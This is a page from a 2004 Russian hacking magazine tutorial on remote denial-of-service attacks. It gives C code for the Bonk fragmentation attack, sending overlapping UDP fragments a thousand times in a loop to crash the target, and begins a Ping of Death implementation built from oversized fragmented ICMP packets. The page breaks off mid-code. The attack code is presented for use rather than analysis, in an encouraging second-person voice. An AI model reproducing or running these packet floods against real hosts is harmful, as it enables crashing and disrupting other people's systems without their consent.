Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Удар издалека

Борис Вольфсон

Спецвыпуск: Хакер, номер #048, стр. 048-030-3


Teardrop и Bonk: уничтожение по кусочкам

Классика жанра удаленных атак, базирующихся на различных уязвимостях в программном обеспечении. Эти атаки основаны на том, что некоторые операционные системы неправильно собирают фрагментированные IP-пакеты. В итоге, операционная система затирает часть памяти со всеми вытекающими отсюда последствиями.

Давай напишем программу, реализующую Bonk-атаку. Для начала определим константы и переменные:

#define FRG_CONST 0x3

#define PADDING 0x1c

struct udp_pkt

{

struct iphdr ip;

struct udphdr udp;

char data[PADDING];

} pkt;

Структура udp_pkt представляет собой заголовки IP и UDP. Константы мы будем использовать при формировании IP-пакетов (см. ниже). Теперь можно написать подпрограмму для осуществления атаки. Этой функции требуется передать сокет, адрес/порт отправителя и получателя.

void fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt)

{

int bs;

struct sockaddr_in to;

// обнуляем заголовок пакета

memset(&pkt, 0, psize);

// заполняем IP-заголовок

pkt.ip.version = 4;

pkt.ip.ihl = 5;

pkt.ip.tot_len = htons(udplen + iplen + PADDING);

pkt.ip.id = htons(0x455);

pkt.ip.ttl = 255;

pkt.ip.protocol = IP_UDP;

pkt.ip.saddr = src_addr;

pkt.ip.daddr = dst_addr;

// фрагментированный пакет

pkt.ip.frag_off = htons(0x2000);

// заполняем UDP-заголовок

pkt.udp.source = htons(src_prt);

pkt.udp.dest = htons(dst_prt);

pkt.udp.len = htons(8 + PADDING);

// посылаем первый фрагмент

to.sin_family = AF_INET;

to.sin_port = src_prt;

to.sin_addr.s_addr = dst_addr;

bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr));

// посылаем второй фрагмент

pkt.ip.frag_off = htons(FRG_CONST + 1);

pkt.ip.tot_len = htons(iplen + FRG_CONST);

bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, (struct sockaddr *) &to, sizeof(struct sockaddr));

}

Если послать два фрагмента, которые при сборке наложатся друг на друга, операционная система перезапишет часть памяти. Ну, а чтобы быть уверенными в результате, сделаем контрольный выстрел, вернее, тысячу контрольных выстрелов: запустим эту функцию в цикле.

for (i = 0; i < 1000; ++i)

{

fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);

usleep(10000);

}

Ping of Death

Этой атаке я даже не стал придумывать свое название: "Ping of Death" звучит уже круто, да и реализуется несложно. Правда, эта атака старовата. Чтобы реализовать Ping of Death, надо послать сильно фрагментированный ICMP пакет размером более 64 килобайт. Пишем:

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

// . . .

// готовим ICMP-пакет

icmp-> icmp_type = ICMP_ECHO;

icmp-> icmp_code = 0;

icmp-> icmp_cksum = htons(~(ICMP_ECHO << 8));

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))

{

// считаем смещение

ip-> ip_off = FIX(offset > > 3);

if (offset < 65120)

ip-> ip_off |= FIX(IP_MF);

else

ip-> ip_len = FIX(418);

// отправляем пакет

Назад на стр. 048-030-2  Содержание  Вперед на стр. 048-030-4